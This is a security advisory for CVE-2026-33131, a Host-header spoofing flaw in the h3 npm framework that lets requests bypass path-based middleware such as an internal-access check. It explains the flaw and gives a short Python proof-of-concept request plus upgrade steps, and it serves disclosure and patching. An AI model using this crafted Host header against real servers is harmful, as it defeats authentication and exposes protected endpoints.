GHSA-3vj8-jmxq-cgj5 CVE-2026-33131
h3 has a middleware bypass with one gadget
- Severity
- 7.4 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.40%
- Chance of exploitation in the next 30 days. Higher than 33.73% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-290 Authentication Bypass by Spoofing
- Fix
2.0.1-rc.15- Upgrade h3 to this version or later
Description
H3 NodeRequestUrl bugs
Vulnerable pieces of code :
import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()
const internalOnly = defineHandler((event, next) => {
const token = event.headers.get("x-internal-key");
if (token !== "SUPERRANDOMCANNOTBELEAKED") {
return new Response("Forbidden", { status: 403 });
}
return next();
});
const logger = defineHandler((event, next) => {
console.log("Logging : " + event.url.hostname)
return next()
})
app.use(logger);
app.use("/internal/run", internalOnly);
app.get("/internal/run", () => {
return "Internal OK";
});
serve(app, { port: 3001 });
The middleware is super safe now with just a logger and a middleware to block internal access.
But there's one problems here at the logger .
When it log out the event.url or event.url.hostname or event.url._url
It will lead to trigger one specials method
// _url.mjs FastURL
get _url() {
if (this.#url) return this.#url;
this.#url = new NativeURL(this.href);
this.#href = void 0;
this.#protocol = void 0;
this.#host = void 0;
this.#pathname = void 0;
this.#search = void 0;
this.#searchParams = void 0;
this.#pos = void 0;
return this.#url;
}
The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!
And as debugging , the this.#url is null and will reach to this code :
this.#url = new NativeURL(this.href);
Where is the this.href comes from ?
get href() {
if (this.#url) return this.#url.href;
if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
return this.#href;
}
Because the this.#url is still null so this.#href is built up by :
if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .
Middleware bypass
What can be done with overwriting the event.url?
Audit the code we can easily realize that the routeHanlder is found before running any middlewares
handler(event) {
const route = this["~findRoute"](event);
if (route) {
event.context.params = route.params;
event.context.matchedRoute = route.data;
}
const routeHandler = route?.data.handler || NoHandler;
const middleware = this["~getMiddleware"](event, route);
return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}
So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS
We have this poc :
import requests
url = "http://localhost:3000"
headers = {
"Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)
This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| h3 | >= 2.0.0-0, < 2.0.1-rc.15 |
2.0.1-rc.15 |
| h3 | >= 2.0.0-0, < 2.0.1-rc.15 |
2.0.1-rc.15 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
h3 npm → 2.0.1-rc.15
- npm
npm install h3@2.0.1-rc.15- yarn
yarn add h3@2.0.1-rc.15- pnpm
pnpm add h3@2.0.1-rc.15
Severity breakdown
CVSS 3.1 7.4
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-290: Authentication Bypass by Spoofing
This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.
References
Advisories
Packages
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-fp4x-ggrf-wmc6 H3 has an Open Redirect via Protocol-Relative Path in redirectBack() Referer Validation | Medium | Also affects h3 |
| GHSA-q5pr-72pq-83v3 H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service | High | Also affects h3 |
| GHSA-4hxc-9384-m385 h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix) | Medium | Also affects h3 |
| GHSA-2j6q-whv2-gh6w h3: Missing Path Segment Boundary Check in `mount()` Causes Middleware Execution on Unrelated Prefix-Matching Routes | Medium | Also affects h3 |
| GHSA-72gr-qfp7-vwhw h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e` | High | Also affects h3 |
| GHSA-wr4h-v87w-p3r7 h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read | High | Also affects h3 |
| GHSA-26f5-8h2x-34xh h3 has an observable timing discrepancy in basic auth utils | Medium | Also affects h3 |
| GHSA-22cc-p3c6-wpvm h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields | Critical | Also affects h3 |
Credits: hibwyli
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor